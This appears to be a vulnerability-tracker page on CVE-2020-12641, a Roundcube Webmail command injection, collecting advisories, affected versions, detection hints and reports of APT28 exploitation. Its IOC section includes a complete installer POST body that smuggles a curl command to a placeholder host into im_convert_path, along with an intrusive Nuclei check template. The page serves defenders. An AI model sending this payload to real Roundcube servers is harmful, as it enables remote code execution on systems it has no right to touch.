CVE-2020-12641
published 2020-05-04CVE-2020-12641: rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for…
PriorityP192critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2023-07-13
Exploited in the wild
EPSS
84.46%
99.7th percentile
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
Affected
10 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | roundcube | < roundcube 1.4.4+dfsg.1-1 (bookworm) | roundcube 1.4.4+dfsg.1-1 (bookworm) |
| debian | roundcube | — | — |
| opensuse | backports_sle | — | — |
| opensuse | leap | — | — |
| opensuse | leap | — | — |
| roundcube | webmail | < 1.5.7 | 1.5.7 |
| roundcube | webmail | >= 1.2.0 < 1.2.10 | 1.2.10 |
| roundcube | webmail | >= 1.3.0 < 1.3.11 | 1.3.11 |
| roundcube | webmail | >= 1.4.0 < 1.4.4 | 1.4.4 |
| roundcube | webmail | >= 1.6.0 < 1.6.7 | 1.6.7 |
Detection & IOCsextracted from sources · hover to see the quote
url{{BaseURL}}/installer/index.php
url{{BaseURL}}/roundcube/installer/index.php
command_step=2&_product_name=Roundcube+Webmail&_support_url=&_skin_logo=&_temp_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Ftemp%2F&_des_key=aaCGmrf1vc2NIJ8whIA3aG9x&_enable_spellcheck=1&_spellcheck_engine=googie&_identities_level=0&_log_driver=file&_log_dir=%2Fvar%2Fwww%2Fhtml%2Froundcube%2Flogs%2F&_syslog_id=roundcube&_syslog_facility=8&_dbtype=mysql&_dbhost=localhost&_dbname=roundcube&_dbuser=roundcube&_dbpass=roundcube&_db_prefix=&_default_host%5B%5D=localhost&_default_port=143&_username_domain=&_auto_create_user=1&_sent_mbox=Sent&_trash_mbox=Trash&_drafts_mbox=Drafts&_junk_mbox=Junk&_smtp_server=localhost&_smtp_port=587&_smtp_user=%25u&_smtp_pass=%25p&_smtp_user_u=1&_smtp_log=1&_language=&_skin=elastic&_mail_pagesize=50&_addressbook_pagesize=50&_prefer_html=1&_htmleditor=0&_draft_autosave=300&_mdn_requests=0&_mime_param_folding=1&_plugins_autologon=autologon&_plugins_enigma=enigma&_plugins_zipdownload=zipdownload&submit=UPDATE+CONFIG&G&_im_convert_path=curl+http%3a//example.com
yara
id: CVE-2020-12641
info:
name: Roundcube Webmail - Command Injection
author: domwhewell-sage
severity: critical
tags: cve,cve2020,roundcube,webmail,intrusive,kev,vkev,vuln
http:
- method: POST
path:
- "{{BaseURL}}/installer/index.php"
- "{{BaseURL}}/roundcube/installer/index.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Roundcube Webmail Installer'
- 'The config file was saved successfully'
condition: and
- type: status
status:
- 200- →Exploit targets the Roundcube installer endpoint via POST to /installer/index.php or /roundcube/installer/index.php, injecting shell metacharacters into the _im_convert_path parameter to achieve command injection.
- →Detect POST requests to /installer/index.php containing _im_convert_path or _im_identify_path parameters with shell metacharacters or external command strings (e.g., curl, wget).
- →Shodan queries for exposed Roundcube installer interfaces: http.component:"roundcube" or cpe:"cpe:2.3:a:roundcube:webmail" can identify vulnerable targets.
- →Response body containing both 'Roundcube Webmail Installer' and 'The config file was saved successfully' with HTTP 200 indicates successful exploitation of the installer configuration endpoint.
- →BlueDelta (APT28) exploitation of CVE-2020-12641 was chained with CVE-2020-35730 and CVE-2021-44026 in spearphishing emails containing JavaScript attachments that fetched additional payloads from attacker-controlled infrastructure. ↗
- →Post-exploitation activity includes creation of email forwarding rules to redirect victim emails to attacker-controlled addresses, and harvesting of session cookies and address books. ↗
- →APT28 routed attack traffic through compromised SOHO devices to obscure origin; network defenders should correlate Roundcube installer POST requests with SOHO device IP ranges. ↗
- ·CVE-2020-12641 was incompletely fixed; CVE-2024-37385 exists as a bypass affecting Roundcube before 1.5.7 and 1.6.x before 1.6.7 on Windows via the same im_convert_path and im_identify_path vectors. ↗
- ·Exploitation requires the attacker to control Roundcube configuration settings (e.g., via the exposed installer); the installer endpoint should be disabled or access-restricted in production deployments.
- ·The Nuclei template targets Roundcube versions before 1.4.4; patched versions are 1.4.5, 1.3.12 or later.
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_debian9.8LOW
vendor_ubuntu6.1MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-8f5w-pj4v-82jc: Roundcube Webmail before 1
ghsa_unreviewed·2024-06-07·CVSS 9.8
CVE-2024-37385 [CRITICAL] CWE-77 GHSA-8f5w-pj4v-82jc: Roundcube Webmail before 1
Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 on Windows allows command injection via im_convert_path and im_identify_path. NOTE: this issue exists because of an incomplete fix for CVE-2020-12641.
OSV
roundcube vulnerabilities
osv·2022-08-08·CVSS 6.1
CVE-2020-12625 [MEDIUM] roundcube vulnerabilities
roundcube vulnerabilities
It was discovered that Roundcube Webmail allowed JavaScript code to be present
in the CDATA of an HTML message. A remote attacker could possibly use this
issue to execute a cross-site scripting (XSS) attack. This issue only affected
Ubuntu 16.04 ESM, Ubuntu 18.04 ESM and Ubuntu 20.04 ESM. (CVE-2020-12625)
It was discovered that Roundcube Webmail incorrectly processed login and
logout POST requests. An attacker could possibly use this issue to launch a
cross-site request forgery (CSRF) attack and force an authenticated user to be
logged out. This issue only affected Ubuntu 16.04 ESM, Ubuntu 18.04 ESM and
Ubuntu 20.04 ESM. (CVE-2020-12626)
It was discovered that Roundcube Webmail incorrectly processed new plugin names
in rcube_plugin_api.php. An attacker could po
GHSA
GHSA-q9jx-pp2v-v8xh: rcube_image
ghsa_unreviewed·2022-05-24
CVE-2020-12641 [HIGH] CWE-78 GHSA-q9jx-pp2v-v8xh: rcube_image
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
OSV
CVE-2020-12641: rcube_image
osv·2020-05-04·CVSS 9.8
CVE-2020-12641 [CRITICAL] CVE-2020-12641: rcube_image
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
VulnCheck
Roundcube Webmail Remote Code Execution Vulnerability
vulncheck·2020·CVSS 9.8
CVE-2020-12641 [CRITICAL] CWE-78 Roundcube Webmail Remote Code Execution Vulnerability
Roundcube Webmail Remote Code Execution Vulnerability
Roundcube Webmail contains an remote code execution vulnerability that allows attackers to execute code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
Affected: Roundcube Roundcube Webmail
Required Action: Apply updates per vendor instructions.
Exploitation References: https://cert.gov.ua/article/4905829; https://go.recordedfuture.com/hubfs/reports/cta-2023-0620.pdf; https://www.recordedfuture.com/bluedelta-exploits-ukrainian-government-roundcube-mail-servers; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://blog.eclecticiq.com/spearphishing-campaign-targets-zimbra-webmail-portals-of-government-organizations; https://www.cisa.gov/news-events/cy
Debian
CVE-2024-37385: roundcube - Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 on Windows allows command ...
vendor_debian·2024·CVSS 9.8
CVE-2024-37385 [CRITICAL] CVE-2024-37385: roundcube - Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 on Windows allows command ...
Roundcube Webmail before 1.5.7 and 1.6.x before 1.6.7 on Windows allows command injection via im_convert_path and im_identify_path. NOTE: this issue exists because of an incomplete fix for CVE-2020-12641.
Scope: local
bookworm: resolved
bullseye: resolved
forky: resolved
sid: resolved
trixie: resolved
CISA
Roundcube Webmail Remote Code Execution Vulnerability
cisa·2023-06-22·CVSS 9.8
CVE-2020-12641 [CRITICAL] CWE-78 Roundcube Webmail Remote Code Execution Vulnerability
Vulnerability: Roundcube Webmail Remote Code Execution Vulnerability
Affected: Roundcube Roundcube Webmail
Roundcube Webmail contains an remote code execution vulnerability that allows attackers to execute code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
Required Action: Apply updates per vendor instructions.
Notes: https://roundcube.net/news/2020/04/29/security-updates-1.4.4-1.3.11-and-1.2.10; https://nvd.nist.gov/vuln/detail/CVE-2020-12641
Remediation Due Date: 2023-07-13
Ubuntu
Roundcube Webmail vulnerabilities
vendor_ubuntu·2022-08-08·CVSS 6.1
CVE-2020-13964 [MEDIUM] Roundcube Webmail vulnerabilities
Title: Roundcube Webmail vulnerabilities
Summary: Several security issues were fixed in Roundcube Webmail.
It was discovered that Roundcube Webmail allowed JavaScript code to be present
in the CDATA of an HTML message. A remote attacker could possibly use this
issue to execute a cross-site scripting (XSS) attack. This issue only affected
Ubuntu 16.04 ESM, Ubuntu 18.04 ESM and Ubuntu 20.04 ESM. (CVE-2020-12625)
It was discovered that Roundcube Webmail incorrectly processed login and
logout POST requests. An attacker could possibly use this issue to launch a
cross-site request forgery (CSRF) attack and force an authenticated user to be
logged out. This issue only affected Ubuntu 16.04 ESM, Ubuntu 18.04 ESM and
Ubuntu 20.04 ESM. (CVE-2020-12626)
It was discovered that Roundcube Webmail in
Debian
CVE-2020-12641: roundcube - rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute ar...
vendor_debian·2020·CVSS 9.8
CVE-2020-12641 [CRITICAL] CVE-2020-12641: roundcube - rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute ar...
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
Scope: local
bookworm: resolved (fixed in 1.4.4+dfsg.1-1)
bullseye: resolved (fixed in 1.4.4+dfsg.1-1)
forky: resolved (fixed in 1.4.4+dfsg.1-1)
sid: resolved (fixed in 1.4.4+dfsg.1-1)
trixie: resolved (fixed in 1.4.4+dfsg.1-1)
No detection rules found.
Nuclei
Roundcube Webmail - Command Injection
nuclei·CVSS 9.8
CVE-2020-12641 [CRITICAL] Roundcube Webmail - Command Injection
Roundcube Webmail - Command Injection
Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
Template:
id: CVE-2020-12641
info:
name: Roundcube Webmail - Command Injection
author: domwhewell-sage
severity: critical
description: |
Roundcube Webmail before 1.4.4 contains a command injection caused by shell metacharacters in configuration settings for im_convert_path or im_identify_path, letting attackers execute arbitrary code, exploit requires attacker to control configuration settings.
impact: |
An attacker can exploit this vulnerability to execute arbitrary commands on the server, p
Bleepingcomputer
Russian hackers breach orgs to track aid routes to Ukraine
blogs_bleepingcomputer·2025-05-21·CVSS 9.8
[CRITICAL] Russian hackers breach orgs to track aid routes to Ukraine
## Russian hackers breach orgs to track aid routes to Ukraine
## Ionut Ilascu
A Russian state-sponsored cyberespionage campaign attributed to APT28 (Fancy Bear/Forest Blizzard) hackers has been targeting and compromising international organizations since 2022 to disrupt aid efforts to Ukraine.
The hackers targeted entities in the defense, transportation, IT services, air traffic, and maritime sectors in 12 European countries and the United States.
Additionally, the hackers have been tracking the movement of materials into Ukraine by compromising access to private cameras installed in key locations (e.g. border crossings, military installations, rail stations).
A joint advisory from 21 intelligence and cybersecurity agencies in nearly a dozen countries shares the tactics, techniques, a
Securelist
Advanced threat predictions for 2024
blogs_securelist·2023-11-14
Advanced threat predictions for 2024
Table of Contents
A review of last year’s predictions
1. The rise of destructive attacks
2. Mail servers become priority targets
3. The next WannaCry
4. APT targeting turns toward satellite technologies, producers and operators
5. Hack-and-leak is the new black (and bleak)
6. More APT groups will move from Cobalt Strike to other alternatives
7. SIGINT-delivered malware
8. Drone hacking!
APT predictions for 2024
The rise of creative exploits for mobile, wearables and smart devices
Building new botnets with consumer and corporate software and appliances
Barriers to kernel-level code execution increasingly evaded (kernel rootkits hot again)
Growth in cyberattacks by state-sponsored actors
Hacktivism in cyber-warfare: the new normal in geopolitical conflicts
Supply chain attack
Securelist
Kaspersky Security Bulletin: APT predictions 2024
blogs_securelist·2023-11-14
Kaspersky Security Bulletin: APT predictions 2024
Table of Contents
- A review of last year’s predictions
- APT predictions for 2024
Authors
- GReAT
Advanced persistent threats (APTs) are the most dangerous threats, as they employ complex tools and techniques, and often are highly targeted and hard to detect. Amid the global crisis and escalating geopolitical confrontations, these sophisticated cyberattacks are even more dangerous, as there is often more at stake.
At Kaspersky’s Global Research and Analysis Team (GReAT), we monitor a number of APT groups, analyze trends and try to anticipate their future developments to keep ahead of the evolving threat landscape and keep our customers safe. In this article, we will review the past year’s trends to see which of our 2023 predictions have come true, and try to predict what is to come i
Bleepingcomputer
France says Russian state hackers breached numerous critical networks
blogs_bleepingcomputer·2023-10-26·CVSS 9.8
CVE-2023-38831 [CRITICAL] France says Russian state hackers breached numerous critical networks
## France says Russian state hackers breached numerous critical networks
## Bill Toulas
The Russian APT28 hacking group (aka 'Strontium' or 'Fancy Bear') has been targeting government entities, businesses, universities, research institutes, and think tanks in France since the second half of 2021.
The threat group, which is considered part of Russia's military intelligence service GRU, was recently linked to the exploitation of CVE-2023-38831 , a remote code execution vulnerability in WinRAR, and CVE-2023-23397 , a zero-day privilege elevation flaw in Microsoft Outlook.
The Russian hackers have been compromising peripheral devices on critical networks of French organizations and moving away from utilizing backdoors to evade detection.
This is according to a newly published report from
Checkpoint
3rd July – Threat Intelligence Report
blogs_checkpoint·2023-07-03
CVE-2020-12641 3rd July – Threat Intelligence Report
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 3rd July – Threat Intelligence Report
For the latest discoveries in cyber research for the week of 3rd July, please download our Threat_Intelligence Bulletin
TOP ATTACKS AND BREACHES
The LockBit ransomware group has recently claimed responsibility for hacking the Taiwan Semiconductor Manufacturing Company (TSMC), the largest contract chip manufacturer globally, serving tech giants such as Apple and Qualcomm. TSMC denied it was breached by Lockbit, but confirmed that the group has breached one of the company’s I
Recorded Future
BlueDelta Exploits Ukrainian Government Roundcube Mail Servers to Support Espionage Activities
blogs_recorded_future·CVSS 9.8
[CRITICAL] BlueDelta Exploits Ukrainian Government Roundcube Mail Servers to Support Espionage Activities
# BlueDelta Exploits Ukrainian Government Roundcube Mail Servers to Support Espionage Activities
Recorded Future's Insikt Group, in partnership with Ukraine's Computer Emergency Response Team (CERT-UA), has uncovered a campaign targeting high-profile entities in Ukraine that was cross-correlated with a spearphishing campaign uncovered by Recorded Future’s Network Traffic Intelligence. The campaign leveraged news about Russia’s war against Ukraine to encourage recipients to open emails, which immediately compromised vulnerable Roundcube servers (an open-source webmail software), using CVE-2020-35730, without engaging with the attachment. We found that the campaign overlaps with historic BlueDelta activity exploiting the Microsoft Outlook zero-day vulnerability CVE-2023-23397 in 2022.
The
Recorded Future
BlueDelta Exploits Ukrainian Government Roundcube Mail Servers to Support Espionage Activities | Recorded Future
blogs_recorded_future·CVSS 9.8
[CRITICAL] BlueDelta Exploits Ukrainian Government Roundcube Mail Servers to Support Espionage Activities | Recorded Future
## BlueDelta Exploits Ukrainian Government Roundcube Mail Servers to Support Espionage Activities
Recorded Future's Insikt Group, in partnership with Ukraine's Computer Emergency Response Team (CERT-UA), has uncovered a campaign targeting high-profile entities in Ukraine that was cross-correlated with a spearphishing campaign uncovered by Recorded Future’s Network Traffic Intelligence. The campaign leveraged news about Russia’s war against Ukraine to encourage recipients to open emails, which immediately compromised vulnerable Roundcube servers (an open-source webmail software), using CVE-2020-35730 , without engaging with the attachment. We found that the campaign overlaps with historic BlueDelta activity exploiting the Microsoft Outlook zero-day vulnerability CVE-2023-23397 in 2022.
Th
Bugzilla
CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path [fedora-all]
bugzilla·2020-05-08·CVSS 9.8
CVE-2020-12641 [CRITICAL] CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path [fedora-all]
CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and t
Bugzilla
CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path [epel-all]
bugzilla·2020-05-08·CVSS 9.8
CVE-2020-12641 [CRITICAL] CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path [epel-all]
CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path [epel-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of epel-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
f
Bugzilla
CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path
bugzilla·2020-05-08·CVSS 9.8
CVE-2020-12641 [CRITICAL] CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path
CVE-2020-12641 roundcubemail: remote code execution via shell metacharacters in a configuration setting for im_convert_path or im_identify_path
rcube_image.php in Roundcube Webmail before 1.4.4 allows attackers to execute arbitrary code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
Reference:
https://roundcube.net/news/2020/04/29/security-updates-1.4.4-1.3.11-and-1.2.10
Upstream commit:
https://github.com/roundcube/roundcubemail/commit/fcfb099477f353373c34c8a65c9035b06b364db3
Discussion:
Created roundcubemail tracking bugs for this issue:
Affects: epel-all [bug 1833481]
Affects: fedora-all [bug 1833482]
---
This CVE Bugzilla entry is for community support informational purposes only as it does not affect a package in a commercially sup
http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.htmlhttps://github.com/DrunkenShells/Disclosures/tree/master/CVE-2020-12641-Command%20Injection-Roundcubehttps://github.com/roundcube/roundcubemail/commit/fcfb099477f353373c34c8a65c9035b06b364db3https://github.com/roundcube/roundcubemail/compare/1.4.3...1.4.4https://github.com/roundcube/roundcubemail/releases/tag/1.4.4https://roundcube.net/news/2020/04/29/security-updates-1.4.4-1.3.11-and-1.2.10https://security.gentoo.org/glsa/202007-41http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00083.htmlhttps://github.com/DrunkenShells/Disclosures/tree/master/CVE-2020-12641-Command%20Injection-Roundcubehttps://github.com/roundcube/roundcubemail/commit/fcfb099477f353373c34c8a65c9035b06b364db3https://github.com/roundcube/roundcubemail/compare/1.4.3...1.4.4https://github.com/roundcube/roundcubemail/releases/tag/1.4.4https://roundcube.net/news/2020/04/29/security-updates-1.4.4-1.3.11-and-1.2.10https://security.gentoo.org/glsa/202007-41https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-12641
2020-05-04
Published
2023-06-22
Added to CISA KEV
Exploited in the wild